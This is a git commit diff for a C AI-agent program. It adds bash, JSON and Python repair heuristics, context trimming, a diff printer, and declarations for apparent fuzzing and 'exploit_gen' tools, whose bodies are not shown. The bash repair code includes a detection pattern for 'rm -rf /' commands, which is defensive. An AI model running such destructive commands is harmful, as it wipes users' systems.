This commit is contained in:
retoor 2026-01-29 00:38:21 +01:00
parent 1f381906d1
commit df124bb10b
22 changed files with 2885 additions and 4 deletions

View File

@ -18,6 +18,7 @@ SRC_CORE = $(SRCDIR)/r_error.c \
$(SRCDIR)/agent.c \ $(SRCDIR)/agent.c \
$(SRCDIR)/bash_executor.c \ $(SRCDIR)/bash_executor.c \
$(SRCDIR)/context_manager.c \ $(SRCDIR)/context_manager.c \
$(SRCDIR)/r_diff.c \
$(SRCDIR)/main.c $(SRCDIR)/main.c
SRC_TOOLS = $(TOOLSDIR)/tools_init.c \ SRC_TOOLS = $(TOOLSDIR)/tools_init.c \
@ -26,7 +27,14 @@ SRC_TOOLS = $(TOOLSDIR)/tools_init.c \
$(TOOLSDIR)/tool_db.c \ $(TOOLSDIR)/tool_db.c \
$(TOOLSDIR)/tool_http.c \ $(TOOLSDIR)/tool_http.c \
$(TOOLSDIR)/tool_python.c \ $(TOOLSDIR)/tool_python.c \
$(TOOLSDIR)/tool_indexer.c $(TOOLSDIR)/tool_indexer.c \
$(TOOLSDIR)/tool_code.c \
$(TOOLSDIR)/tool_file_edit.c \
$(TOOLSDIR)/tool_system.c \
$(TOOLSDIR)/tool_network.c \
$(TOOLSDIR)/tool_dns.c \
$(TOOLSDIR)/tool_automation.c \
$(TOOLSDIR)/tool_csv.c
SRC = $(SRC_CORE) $(SRC_TOOLS) SRC = $(SRC_CORE) $(SRC_TOOLS)

8
include/bash_repair.h Normal file
View File

@ -0,0 +1,8 @@
// retoor <retoor@molodetz.nl>
#ifndef BASH_REPAIR_H
#define BASH_REPAIR_H
char *bash_repair_command(const char *src);
#endif

20
include/context_manager.h Normal file
View File

@ -0,0 +1,20 @@
// retoor <retoor@molodetz.nl>
#ifndef R_CONTEXT_MANAGER_H
#define R_CONTEXT_MANAGER_H
#include "messages.h"
#include "r_error.h"
/**
* Shrinks the context of the given messages to fit within model limits.
* Uses a smart trimming algorithm:
* 1. Truncates the middle of large messages (preserving start and end).
* 2. Removes oldest conversation pairs (user/assistant) if needed.
* 3. Never touches the 'system' message or the very last user message.
*
* Returns R_SUCCESS if shrinkage was performed, or error if not possible.
*/
r_status_t context_manager_shrink(messages_handle msgs);
#endif

8
include/json_repair.h Normal file
View File

@ -0,0 +1,8 @@
// retoor <retoor@molodetz.nl>
#ifndef JSON_REPAIR_H
#define JSON_REPAIR_H
char *json_repair_string(const char *src);
#endif

8
include/python_repair.h Normal file
View File

@ -0,0 +1,8 @@
// retoor <retoor@molodetz.nl>
#ifndef PYTHON_REPAIR_H
#define PYTHON_REPAIR_H
char *python_repair_code(const char *src);
#endif

16
include/r_diff.h Normal file
View File

@ -0,0 +1,16 @@
// retoor <retoor@molodetz.nl>
#ifndef R_DIFF_H
#define R_DIFF_H
/**
* Prints a beautiful, colorized diff between two strings to stderr.
* Mimics the style of 'git diff'.
*
* @param path The path of the file being changed (for the header).
* @param old_content The original content.
* @param new_content The new content.
*/
void r_diff_print(const char *path, const char *old_content, const char *new_content);
#endif

238
src/bash_repair.c Normal file
View File

@ -0,0 +1,238 @@
// retoor <retoor@molodetz.nl>
#include "bash_repair.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>
static char *ensure_shebang(const char *text) {
if (!text || !*text) return strdup("");
// Check if it already has a shebang
const char *p = text;
while (*p && isspace((unsigned char)*p)) p++;
if (strncmp(p, "#!", 2) == 0 || strncmp(p, ": <<", 4) == 0) {
return strdup(text);
}
// Heuristic: if it has multiple lines, add shebang
if (strchr(text, '\n')) {
char *result = malloc(strlen(text) + 32);
if (!result) return strdup(text);
strcpy(result, "#!/usr/bin/env bash\n");
strcat(result, text);
return result;
}
return strdup(text);
}
static char *normalize_whitespace_and_operators(const char *src) {
if (!src) return NULL;
size_t src_len = strlen(src);
char *result = malloc(src_len * 2 + 1);
if (!result) return NULL;
char *dst = result;
const char *curr = src;
while (*curr) {
if (*curr == '\r') {
curr++;
continue;
}
// Detect operators to normalize spaces around them
const char *ops[] = {"||", "&&", ">>", "|&", "|", ";", ">", "<", NULL};
bool matched_op = false;
for (int i = 0; ops[i]; i++) {
size_t op_len = strlen(ops[i]);
if (strncmp(curr, ops[i], op_len) == 0) {
// Remove preceding spaces in dst if any
while (dst > result && isspace((unsigned char)*(dst - 1)) && *(dst - 1) != '\n') dst--;
if (dst > result && *(dst - 1) != '\n') *dst++ = ' ';
memcpy(dst, ops[i], op_len);
dst += op_len;
curr += op_len;
// Skip following spaces in curr
while (*curr && isspace((unsigned char)*curr) && *curr != '\n') curr++;
if (*curr && *curr != '\n') *dst++ = ' ';
matched_op = true;
break;
}
}
if (!matched_op) {
*dst++ = *curr++;
}
}
*dst = '\0';
// Second pass to strip trailing spaces on each line
char *s2 = strdup(result);
free(result);
if (!s2) return NULL;
char *final = malloc(strlen(s2) + 1);
char *f_ptr = final;
char *line = s2;
while (line && *line) {
char *next_line = strchr(line, '\n');
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
const char *end = line + line_len - 1;
while (end >= line && isspace((unsigned char)*end)) end--;
size_t new_len = (size_t)(end - line + 1);
memcpy(f_ptr, line, new_len);
f_ptr += new_len;
if (next_line) {
*f_ptr++ = '\n';
line = next_line + 1;
} else {
break;
}
}
*f_ptr = '\0';
free(s2);
return final;
}
static char *fix_line_issues(const char *src) {
if (!src) return NULL;
size_t src_len = strlen(src);
char *result = malloc(src_len * 2 + 1024);
if (!result) return NULL;
char *dst = result;
const char *line = src;
while (line && *line) {
const char *next_line = strchr(line, '\n');
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
char line_buf[4096];
if (line_len >= sizeof(line_buf)) line_len = sizeof(line_buf) - 1;
memcpy(line_buf, line, line_len);
line_buf[line_len] = '\0';
// 1. Tiny Shell Lint (else if -> elif)
char *else_if = strstr(line_buf, "else if ");
if (else_if) {
// Very basic replacement
memmove(else_if + 4, else_if + 8, strlen(else_if + 8) + 1);
memcpy(else_if, "elif", 4);
}
// 2. Fix unbalanced quotes
int single = 0, double_q = 0;
bool escaped = false;
for (size_t i = 0; i < strlen(line_buf); i++) {
if (escaped) { escaped = false; continue; }
if (line_buf[i] == '\\') escaped = true;
else if (line_buf[i] == '\'') single++;
else if (line_buf[i] == '"') double_q++;
}
if (single % 2 == 1 && double_q == 0) strcat(line_buf, "'");
else if (double_q % 2 == 1 && single == 0) strcat(line_buf, "\"");
// 3. Fix trailing operators
size_t cur_len = strlen(line_buf);
const char *ops[] = {"||", "&&", ">>", "|&", "|", ">", "<", NULL};
for (int i = 0; ops[i]; i++) {
size_t op_len = strlen(ops[i]);
if (cur_len >= op_len) {
if (strcmp(line_buf + cur_len - op_len, ops[i]) == 0) {
// Comment it
char temp[4096];
strcpy(temp, line_buf);
temp[cur_len - op_len] = '\0';
strcat(temp, "# ");
strcat(temp, ops[i]);
strcpy(line_buf, temp);
break;
}
}
}
// 4. Dangerous rm -rf check
if (strstr(line_buf, "sudo rm -rf /") || strstr(line_buf, "rm -rf / ")) {
strcpy(dst, "# WARNING: potentially destructive command detected\n");
dst += strlen(dst);
}
strcpy(dst, line_buf);
dst += strlen(dst);
if (next_line) *dst++ = '\n';
if (next_line) line = next_line + 1;
else break;
}
*dst = '\0';
return result;
}
static char *collapse_nested_bash_c(const char *src) {
if (!src) return NULL;
// Pattern: bash -c "bash -c '...'")
// We'll just do a very basic string replacement for common variants
char *s1 = strdup(src);
char *patterns[] = {
"bash -c \"bash -c '",
"bash -c 'bash -c \"",
NULL
};
for (int i = 0; patterns[i]; i++) {
char *p;
while ((p = strstr(s1, patterns[i]))) {
// Find closing quotes
char outer = patterns[i][8]; // " or '
char inner = patterns[i][18]; // ' or "
char *inner_end = strchr(p + 19, inner);
if (inner_end && *(inner_end + 1) == outer) {
// We can collapse.
// Original: [p]bash -c "bash -c 'cmd'"[end]
// New: [p]bash -c 'cmd'[end]
size_t cmd_len = (size_t)(inner_end - (p + 19));
char *new_s = malloc(strlen(s1) + 1);
size_t prefix_len = (size_t)(p - s1);
memcpy(new_s, s1, prefix_len);
char *d = new_s + prefix_len;
strcpy(d, "bash -c ");
d += 8;
*d++ = inner;
memcpy(d, p + 19, cmd_len);
d += cmd_len;
*d++ = inner;
strcpy(d, inner_end + 2);
free(s1);
s1 = new_s;
} else {
break;
}
}
}
return s1;
}
char *bash_repair_command(const char *src) {
if (!src) return NULL;
char *s1 = normalize_whitespace_and_operators(src);
char *s2 = fix_line_issues(s1);
free(s1);
char *s3 = collapse_nested_bash_c(s2);
free(s2);
char *s4 = ensure_shebang(s3);
free(s3);
return s4;
}

111
src/context_manager.c Normal file
View File

@ -0,0 +1,111 @@
// retoor <retoor@molodetz.nl>
#include "context_manager.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TRUNCATE_THRESHOLD 2000
#define TRUNCATE_KEEP_START 800
#define TRUNCATE_KEEP_END 800
#define TRUNCATE_MARKER "\n\n[... content truncated for context management ...]\n\n"
static bool is_system_message(struct json_object *msg) {
struct json_object *role_obj;
if (json_object_object_get_ex(msg, "role", &role_obj)) {
return strcmp(json_object_get_string(role_obj), "system") == 0;
}
return false;
}
static r_status_t truncate_middle(messages_handle msgs, int index) {
struct json_object *msg = messages_get_object(msgs, index);
if (!msg) return R_ERROR_NOT_FOUND;
struct json_object *content_obj;
const char *content = NULL;
bool is_tool_result = false;
if (json_object_object_get_ex(msg, "content", &content_obj)) {
content = json_object_get_string(content_obj);
} else if (json_object_object_get_ex(msg, "tool_result", &content_obj)) {
content = json_object_get_string(content_obj);
is_tool_result = true;
}
if (!content) return R_SUCCESS;
size_t len = strlen(content);
if (len <= TRUNCATE_THRESHOLD) return R_SUCCESS;
char *new_content = malloc(TRUNCATE_KEEP_START + strlen(TRUNCATE_MARKER) + TRUNCATE_KEEP_END + 1);
if (!new_content) return R_ERROR_OUT_OF_MEMORY;
strncpy(new_content, content, TRUNCATE_KEEP_START);
new_content[TRUNCATE_KEEP_START] = '\0';
strcat(new_content, TRUNCATE_MARKER);
strcat(new_content, content + len - TRUNCATE_KEEP_END);
struct json_object *new_msg = json_object_get(msg); // Increments ref count
if (is_tool_result) {
json_object_object_add(new_msg, "tool_result", json_object_new_string(new_content));
} else {
json_object_object_add(new_msg, "content", json_object_new_string(new_content));
}
free(new_content);
return messages_replace_at(msgs, index, new_msg);
}
r_status_t context_manager_shrink(messages_handle msgs) {
if (!msgs) return R_ERROR_INVALID_ARG;
int count = messages_count(msgs);
if (count <= 1) return R_ERROR_API_ERROR; // Cannot shrink further
fprintf(stderr, " \033[2m-> Context limit reached, compressing history...\033[0m\n");
// Phase 1: Truncate large messages in history (middle-cut)
// We skip the last message as it's usually the one we just added or the latest prompt
bool truncated_any = false;
for (int i = 0; i < count - 1; i++) {
struct json_object *msg = messages_get_object(msgs, i);
if (is_system_message(msg)) continue;
struct json_object *content_obj;
const char *content = NULL;
if (json_object_object_get_ex(msg, "content", &content_obj)) {
content = json_object_get_string(content_obj);
} else if (json_object_object_get_ex(msg, "tool_result", &content_obj)) {
content = json_object_get_string(content_obj);
}
if (content && strlen(content) > TRUNCATE_THRESHOLD) {
if (truncate_middle(msgs, i) == R_SUCCESS) {
truncated_any = true;
}
}
}
if (truncated_any) return R_SUCCESS;
// Phase 2: Historical Eviction (remove oldest non-system pairs)
// We look for the first non-system message
int first_removable = -1;
for (int i = 0; i < count - 1; i++) {
struct json_object *msg = messages_get_object(msgs, i);
if (!is_system_message(msg)) {
first_removable = i;
break;
}
}
if (first_removable != -1 && first_removable < count - 1) {
// Remove 2 messages to keep user/assistant pairs if possible,
// or just one if it's a tool sequence
int to_remove = (count - first_removable > 2) ? 2 : 1;
return messages_remove_range(msgs, first_removable, to_remove);
}
return R_ERROR_API_ERROR;
}

378
src/json_repair.c Normal file
View File

@ -0,0 +1,378 @@
// retoor <retoor@molodetz.nl>
#include "json_repair.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>
static char *strip_comments(const char *src) {
if (!src) return NULL;
size_t len = strlen(src);
char *result = malloc(len + 1);
if (!result) return NULL;
char *dst = result;
const char *p = src;
bool in_string = false;
bool escaped = false;
while (*p) {
if (escaped) {
*dst++ = *p++;
escaped = false;
continue;
}
if (*p == '\\') {
*dst++ = *p++;
escaped = true;
continue;
}
if (*p == '"') {
in_string = !in_string;
*dst++ = *p++;
continue;
}
if (!in_string) {
if (*p == '/' && *(p + 1) == '/') {
while (*p && *p != '\n') p++;
continue;
}
if (*p == '/' && *(p + 1) == '*') {
p += 2;
while (*p && !(*p == '*' && *(p + 1) == '/')) p++;
if (*p) p += 2;
continue;
}
if (*p == '#') {
while (*p && *p != '\n') p++;
continue;
}
}
*dst++ = *p++;
}
*dst = '\0';
return result;
}
static char *normalize_quotes(const char *src) {
if (!src) return NULL;
size_t len = strlen(src);
// Over-allocate because single quotes might be replaced by double quotes + escaping
char *result = malloc(len * 2 + 1);
if (!result) return NULL;
char *dst = result;
const char *p = src;
bool in_double_string = false;
bool escaped = false;
while (*p) {
// Smart quote replacement
if ((unsigned char)*p == 0xE2 && (unsigned char)*(p+1) == 0x80) {
if ((unsigned char)*(p+2) == 0x9C || (unsigned char)*(p+2) == 0x9D) { // “ or ”
*dst++ = '"';
p += 3;
continue;
}
if ((unsigned char)*(p+2) == 0x98 || (unsigned char)*(p+2) == 0x99) { // or
*dst++ = '\'';
p += 3;
continue;
}
}
if (escaped) {
*dst++ = *p++;
escaped = false;
continue;
}
if (*p == '\\') {
*dst++ = *p++;
escaped = true;
continue;
}
if (*p == '"') {
in_double_string = !in_double_string;
*dst++ = *p++;
continue;
}
if (!in_double_string && *p == '\'') {
// Heuristic: convert '...' to "..."
*dst++ = '"';
p++;
while (*p && *p != '\'') {
if (*p == '\\' && *(p+1)) {
*dst++ = *p++;
*dst++ = *p++;
} else if (*p == '"') {
*dst++ = '\\';
*dst++ = '"';
p++;
} else {
*dst++ = *p++;
}
}
if (*p == '\'') {
*dst++ = '"';
p++;
}
continue;
}
*dst++ = *p++;
}
*dst = '\0';
return result;
}
static char *remove_trailing_commas(const char *src) {
if (!src) return NULL;
size_t len = strlen(src);
char *result = malloc(len + 1);
if (!result) return NULL;
char *dst = result;
const char *p = src;
bool in_string = false;
bool escaped = false;
while (*p) {
if (escaped) {
*dst++ = *p++;
escaped = false;
continue;
}
if (*p == '\\') {
*dst++ = *p++;
escaped = true;
continue;
}
if (*p == '"') {
in_string = !in_string;
*dst++ = *p++;
continue;
}
if (!in_string && *p == ',') {
// Check if next non-ws char is ] or }
const char *next = p + 1;
while (*next && isspace((unsigned char)*next)) next++;
if (*next == ']' || *next == '}') {
p = next; // Skip the comma
continue;
}
}
*dst++ = *p++;
}
*dst = '\0';
return result;
}
static char *quote_unquoted_keys(const char *src) {
if (!src) return NULL;
size_t len = strlen(src);
char *result = malloc(len * 2 + 1);
if (!result) return NULL;
char *dst = result;
const char *p = src;
bool in_string = false;
bool escaped = false;
while (*p) {
if (escaped) {
*dst++ = *p++;
escaped = false;
continue;
}
if (*p == '\\') {
*dst++ = *p++;
escaped = true;
continue;
}
if (*p == '"') {
in_string = !in_string;
*dst++ = *p++;
continue;
}
if (!in_string && (isalnum((unsigned char)*p) || *p == '_' || *p == '-')) {
// Potential unquoted key?
// A key usually follows '{' or ',' and is followed by ':'
// Heuristic: if we are at start of an identifier, check if it ends with ':'
// Check backwards for { or ,
const char *prev = p - 1;
while (prev >= src && isspace((unsigned char)*prev)) prev--;
if (prev >= src && (*prev == '{' || *prev == ',')) {
const char *end = p;
while (*end && (isalnum((unsigned char)*end) || *end == '_' || *end == '-')) end++;
const char *after = end;
while (*after && isspace((unsigned char)*after)) after++;
if (*after == ':') {
// It is an unquoted key!
*dst++ = '"';
while (p < end) *dst++ = *p++;
*dst++ = '"';
continue;
}
}
}
*dst++ = *p++;
}
*dst = '\0';
return result;
}
static char *balance_brackets(const char *src) {
if (!src) return NULL;
size_t len = strlen(src);
char *result = malloc(len + 1024);
if (!result) return NULL;
char stack[1024];
int top = 0;
char *dst = result;
const char *p = src;
bool in_string = false;
bool escaped = false;
while (*p) {
if (escaped) {
*dst++ = *p++;
escaped = false;
continue;
}
if (*p == '\\') {
*dst++ = *p++;
escaped = true;
continue;
}
if (*p == '"') {
in_string = !in_string;
*dst++ = *p++;
continue;
}
if (!in_string) {
if (*p == '{' || *p == '[') {
if (top < 1024) stack[top++] = *p;
} else if (*p == '}' || *p == ']') {
if (top > 0) {
char expected = (*p == '}') ? '{' : '[';
if (stack[top - 1] == expected) {
top--;
}
} else {
// Mismatched closing; skip it
p++;
continue;
}
}
}
*dst++ = *p++;
}
while (top > 0) {
char opener = stack[--top];
*dst++ = (opener == '{') ? '}' : ']';
}
*dst = '\0';
return result;
}
static char *compact_json(const char *src) {
if (!src) return NULL;
size_t len = strlen(src);
char *result = malloc(len + 1);
if (!result) return NULL;
char *dst = result;
const char *p = src;
bool in_string = false;
bool escaped = false;
while (*p) {
if (escaped) {
*dst++ = *p++;
escaped = false;
continue;
}
if (*p == '\\') {
*dst++ = *p++;
escaped = true;
continue;
}
if (*p == '"') {
in_string = !in_string;
*dst++ = *p++;
continue;
}
if (!in_string && isspace((unsigned char)*p)) {
p++;
continue;
}
*dst++ = *p++;
}
*dst = '\0';
return result;
}
char *json_repair_string(const char *src) {
if (!src) return NULL;
// Find the first occurrence of { or [
const char *start_ptr = src;
while (*start_ptr && *start_ptr != '{' && *start_ptr != '[') start_ptr++;
if (!*start_ptr) return strdup(src); // No JSON structure found, return as is
char *s1 = strip_comments(start_ptr);
char *s2 = normalize_quotes(s1);
free(s1);
char *s3 = quote_unquoted_keys(s2);
free(s2);
char *s4 = remove_trailing_commas(s3);
free(s3);
char *s5 = balance_brackets(s4);
free(s4);
// Heuristic: truncate after the first complete object/array
int depth = 0;
bool in_str = false;
bool esc = false;
char *p = s5;
while (*p) {
if (esc) { esc = false; }
else if (*p == '\\') { esc = true; }
else if (*p == '"') { in_str = !in_str; }
else if (!in_str) {
if (*p == '{' || *p == '[') depth++;
else if (*p == '}' || *p == ']') {
depth--;
if (depth == 0) {
*(p + 1) = '\0';
break;
}
}
}
p++;
}
char *s6 = compact_json(s5);
free(s5);
return s6;
}

330
src/python_repair.c Normal file
View File

@ -0,0 +1,330 @@
// retoor <retoor@molodetz.nl>
#include "python_repair.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>
#include <math.h>
#define INDENT_WIDTH 4
static char *dedent_code(const char *src) {
if (!src || !*src) return strdup("");
int min_indent = -1;
const char *line = src;
while (line && *line) {
int indent = 0;
while (line[indent] == ' ' || line[indent] == '\t') indent++;
if (line[indent] != '\n' && line[indent] != '\0') {
if (min_indent == -1 || indent < min_indent) min_indent = indent;
}
line = strchr(line, '\n');
if (line) line++;
}
if (min_indent <= 0) return strdup(src);
size_t src_len = strlen(src);
char *result = malloc(src_len + 1);
if (!result) return strdup(src);
char *dst = result;
const char *curr = src;
while (curr && *curr) {
int to_skip = min_indent;
while (to_skip > 0 && (*curr == ' ' || *curr == '\t')) {
curr++;
to_skip--;
}
const char *next_line = strchr(curr, '\n');
if (next_line) {
size_t line_len = (size_t)(next_line - curr + 1);
memcpy(dst, curr, line_len);
dst += line_len;
curr = next_line + 1;
} else {
strcpy(dst, curr);
break;
}
}
*dst = '\0';
return result;
}
static char *normalize_indentation(const char *src) {
if (!src) return NULL;
size_t src_len = strlen(src);
char *result = malloc(src_len * 2 + 1); // Extra space for normalized indents
if (!result) return NULL;
char *dst = result;
const char *line = src;
while (line && *line) {
const char *next_line = strchr(line, '\n');
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
// Check if line is empty or just whitespace
bool is_empty = true;
for (size_t i = 0; i < line_len; i++) {
if (!isspace((unsigned char)line[i])) {
is_empty = false;
break;
}
}
if (is_empty) {
if (next_line) {
*dst++ = '\n';
line = next_line + 1;
} else {
break;
}
continue;
}
// Calculate current leading indent
int leading_spaces = 0;
const char *content_ptr = line;
while (content_ptr < (line + line_len) && (*content_ptr == ' ' || *content_ptr == '\t')) {
if (*content_ptr == '\t') {
leading_spaces += INDENT_WIDTH;
} else {
leading_spaces++;
}
content_ptr++;
}
// Round to nearest INDENT_WIDTH
int normalized_level = (leading_spaces + INDENT_WIDTH / 2) / INDENT_WIDTH;
int target_spaces = normalized_level * INDENT_WIDTH;
for (int i = 0; i < target_spaces; i++) *dst++ = ' ';
size_t content_len = (size_t)((line + line_len) - content_ptr);
memcpy(dst, content_ptr, content_len);
dst += content_len;
if (next_line) {
*dst++ = '\n';
line = next_line + 1;
} else {
break;
}
}
*dst = '\0';
return result;
}
static char *repair_strings_and_brackets(const char *src) {
if (!src) return NULL;
size_t src_len = strlen(src);
char *result = malloc(src_len + 2048); // Buffer for extra quotes/brackets
if (!result) return NULL;
char *dst = result;
const char *p = src;
char bracket_stack[1024];
int stack_ptr = 0;
bool in_string = false;
char string_quote = 0;
int quote_type = 0; // 1 for single, 3 for triple
bool escaped = false;
while (*p) {
char ch = *p;
if (!in_string) {
if (ch == '#') {
// Comment, copy until newline
while (*p && *p != '\n') *dst++ = *p++;
continue;
}
if (ch == '\'' || ch == '"') {
string_quote = ch;
if (strncmp(p, "'''", 3) == 0 || strncmp(p, "\"\"\"", 3) == 0) {
quote_type = 3;
in_string = true;
*dst++ = *p++; *dst++ = *p++; *dst++ = *p++;
continue;
} else {
quote_type = 1;
in_string = true;
*dst++ = *p++;
continue;
}
} else if (ch == '(' || ch == '[' || ch == '{') {
if (stack_ptr < 1024) bracket_stack[stack_ptr++] = ch;
} else if (ch == ')' || ch == ']' || ch == '}') {
char expected = 0;
if (ch == ')') expected = '(';
else if (ch == ']') expected = '[';
else if (ch == '}') expected = '{';
if (stack_ptr > 0 && bracket_stack[stack_ptr - 1] == expected) {
stack_ptr--;
} else {
// Mismatched closing; skip it to prevent syntax errors
p++;
continue;
}
}
} else {
if (escaped) {
escaped = false;
} else if (ch == '\\') {
escaped = true;
} else if (ch == string_quote) {
if (quote_type == 3) {
if (strncmp(p, "'''", 3) == 0 && string_quote == '\'') {
in_string = false;
*dst++ = *p++; *dst++ = *p++; *dst++ = *p++;
continue;
} else if (strncmp(p, "\"\"\"", 3) == 0 && string_quote == '"') {
in_string = false;
*dst++ = *p++; *dst++ = *p++; *dst++ = *p++;
continue;
}
} else {
in_string = false;
}
}
}
*dst++ = *p++;
}
if (in_string) {
if (quote_type == 3) {
*dst++ = string_quote; *dst++ = string_quote; *dst++ = string_quote;
} else {
*dst++ = string_quote;
}
}
// Balance brackets
while (stack_ptr > 0) {
char opener = bracket_stack[--stack_ptr];
if (opener == '(') *dst++ = ')';
else if (opener == '[') *dst++ = ']';
else if (opener == '{') *dst++ = '}';
}
*dst = '\0';
return result;
}
static char *add_missing_passes(const char *src) {
if (!src) return NULL;
size_t src_len = strlen(src);
char *result = malloc(src_len * 2 + 1);
if (!result) return NULL;
char *dst = result;
const char *line = src;
while (line && *line) {
const char *next_line = strchr(line, '\n');
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
// Copy current line
memcpy(dst, line, line_len);
dst += line_len;
if (next_line) *dst++ = '\n';
// Check if line ends with ':' (ignoring comments/whitespace)
const char *p = line + line_len - 1;
while (p >= line && isspace((unsigned char)*p)) p--;
if (p >= line && *p == ':') {
// Heuristic: check if next non-empty line is more indented
const char *lookahead = next_line ? next_line + 1 : NULL;
bool needs_pass = true;
while (lookahead && *lookahead) {
// Skip empty/whitespace lines
const char *next_next = strchr(lookahead, '\n');
size_t look_len = next_next ? (size_t)(next_next - lookahead) : strlen(lookahead);
bool empty = true;
for (size_t i = 0; i < look_len; i++) {
if (!isspace((unsigned char)lookahead[i])) {
empty = false;
break;
}
}
if (!empty) {
// Check indent of this non-empty line
int current_indent = 0;
const char *line_p = line;
while (line_p < (line + line_len) && (*line_p == ' ' || *line_p == '\t')) {
if (*line_p == '\t') current_indent += INDENT_WIDTH;
else current_indent++;
line_p++;
}
int line_look_indent = 0;
const char *look_p = lookahead;
while (look_p < (lookahead + look_len) && (*look_p == ' ' || *look_p == '\t')) {
if (*look_p == '\t') line_look_indent += INDENT_WIDTH;
else line_look_indent++;
look_p++;
}
if (line_look_indent > current_indent) {
needs_pass = false;
}
break;
}
if (next_next) lookahead = next_next + 1;
else break;
}
if (needs_pass) {
// Find current indent to place 'pass' correctly
int current_indent = 0;
const char *line_p = line;
while (line_p < (line + line_len) && (*line_p == ' ' || *line_p == '\t')) {
if (*line_p == '\t') current_indent += INDENT_WIDTH;
else current_indent++;
line_p++;
}
int target_indent = current_indent + INDENT_WIDTH;
for (int i = 0; i < target_indent; i++) *dst++ = ' ';
memcpy(dst, "pass\n", 5);
dst += 5;
}
}
if (next_line) line = next_line + 1;
else break;
}
*dst = '\0';
return result;
}
char *python_repair_code(const char *src) {
if (!src) return NULL;
char *s1 = dedent_code(src);
char *s2 = normalize_indentation(s1);
free(s1);
char *s3 = repair_strings_and_brackets(s2);
free(s2);
char *s4 = add_missing_passes(s3);
free(s3);
return s4;
}

146
src/r_diff.c Normal file
View File

@ -0,0 +1,146 @@
// retoor <retoor@molodetz.nl>
#include "r_diff.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define COLOR_RED "\x1b[31m"
#define COLOR_GREEN "\x1b[32m"
#define COLOR_CYAN "\x1b[36m"
#define COLOR_RESET "\x1b[0m"
#define COLOR_DIM "\x1b[2m"
#define COLOR_BG_RED "\x1b[41;37m"
#define COLOR_BG_GREEN "\x1b[42;30m"
typedef struct {
char **lines;
size_t count;
} line_set_t;
static line_set_t split_lines(const char *str) {
line_set_t set = {NULL, 0};
if (!str || !*str) return set;
char *copy = strdup(str);
char *p = copy;
char *line_start = copy;
while (*p) {
if (*p == '\n') {
*p = '\0';
set.lines = realloc(set.lines, sizeof(char *) * (set.count + 1));
set.lines[set.count++] = strdup(line_start);
line_start = p + 1;
}
p++;
}
// Handle last line if no trailing newline
if (*line_start) {
set.lines = realloc(set.lines, sizeof(char *) * (set.count + 1));
set.lines[set.count++] = strdup(line_start);
}
free(copy);
return set;
}
static void free_line_set(line_set_t set) {
for (size_t i = 0; i < set.count; i++) free(set.lines[i]);
free(set.lines);
}
static void print_truncated(const char *str, int width, const char *color) {
if (width <= 0) return;
int len = (int)strlen(str);
if (color) printf("%s", color);
if (len > width && width > 3) {
char *temp = strndup(str, (size_t)width - 3);
printf("%s...", temp);
free(temp);
} else {
printf("%-*.*s", width, width, str);
}
if (color) printf("%s", COLOR_RESET);
}
void r_diff_print(const char *path, const char *old_content, const char *new_content) {
line_set_t old_set = split_lines(old_content);
line_set_t new_set = split_lines(new_content);
struct winsize w;
ioctl(STDOUT_FILENO, TIOCGWINSZ, &w);
int term_width = w.ws_col > 0 ? w.ws_col : 120;
if (term_width < 40) term_width = 40; // Minimum usable width
int col_width = (term_width - 15) / 2;
if (col_width < 5) col_width = 5;
printf("\n%s %s CHANGES: %s %s\n", COLOR_CYAN, COLOR_DIM, path, COLOR_RESET);
printf("%4s %-*s | %4s %-*s\n", "LINE", col_width, " OLD", "LINE", col_width, " NEW");
printf("%.*s\n", term_width, "--------------------------------------------------------------------------------------------------------------------------------------------");
size_t o = 0, n = 0;
while (o < old_set.count || n < new_set.count) {
bool match = false;
if (o < old_set.count && n < new_set.count) {
if (strcmp(old_set.lines[o], new_set.lines[n]) == 0) {
printf("%4zu ", o + 1);
print_truncated(old_set.lines[o], col_width - 2, NULL);
printf(" | %4zu ", n + 1);
print_truncated(new_set.lines[n], col_width - 2, NULL);
printf("\n");
o++; n++;
match = true;
}
}
if (!match) {
bool found_o_later = false;
if (o < old_set.count) {
for (size_t i = n + 1; i < new_set.count && i < n + 5; i++) {
if (strcmp(old_set.lines[o], new_set.lines[i]) == 0) {
found_o_later = true;
break;
}
}
}
if (found_o_later) {
// Line added on NEW side
printf("%4s ", "");
print_truncated("", col_width - 2, NULL);
printf(" | %4zu %s+%s ", n + 1, COLOR_GREEN, COLOR_RESET);
print_truncated(new_set.lines[n], col_width - 2, COLOR_GREEN);
printf("\n");
n++;
} else if (o < old_set.count) {
// Line removed on OLD side
printf("%4zu %s-%s ", o + 1, COLOR_RED, COLOR_RESET);
print_truncated(old_set.lines[o], col_width - 2, COLOR_RED);
printf(" | %4s ", "");
print_truncated("", col_width - 2, NULL);
printf("\n");
o++;
} else if (n < new_set.count) {
// Line added on NEW side
printf("%4s ", "");
print_truncated("", col_width - 2, NULL);
printf(" | %4zu %s+%s ", n + 1, COLOR_GREEN, COLOR_RESET);
print_truncated(new_set.lines[n], col_width - 2, COLOR_GREEN);
printf("\n");
n++;
}
}
fflush(stdout);
usleep(30000); // 30ms delay for streaming effect
}
printf("\n");
fflush(stdout);
free_line_set(old_set);
free_line_set(new_set);
}

171
src/tools/tool_automation.c Normal file
View File

@ -0,0 +1,171 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include "bash_executor.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
static struct json_object *automation_fuzz_get_description(void);
static char *automation_fuzz_execute(tool_t *self, struct json_object *args);
static struct json_object *automation_exploit_gen_get_description(void);
static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args);
static const tool_vtable_t automation_fuzz_vtable = {
.get_description = automation_fuzz_get_description,
.execute = automation_fuzz_execute,
.print_action = NULL
};
static const tool_vtable_t automation_exploit_gen_vtable = {
.get_description = automation_exploit_gen_get_description,
.execute = automation_exploit_gen_execute,
.print_action = NULL
};
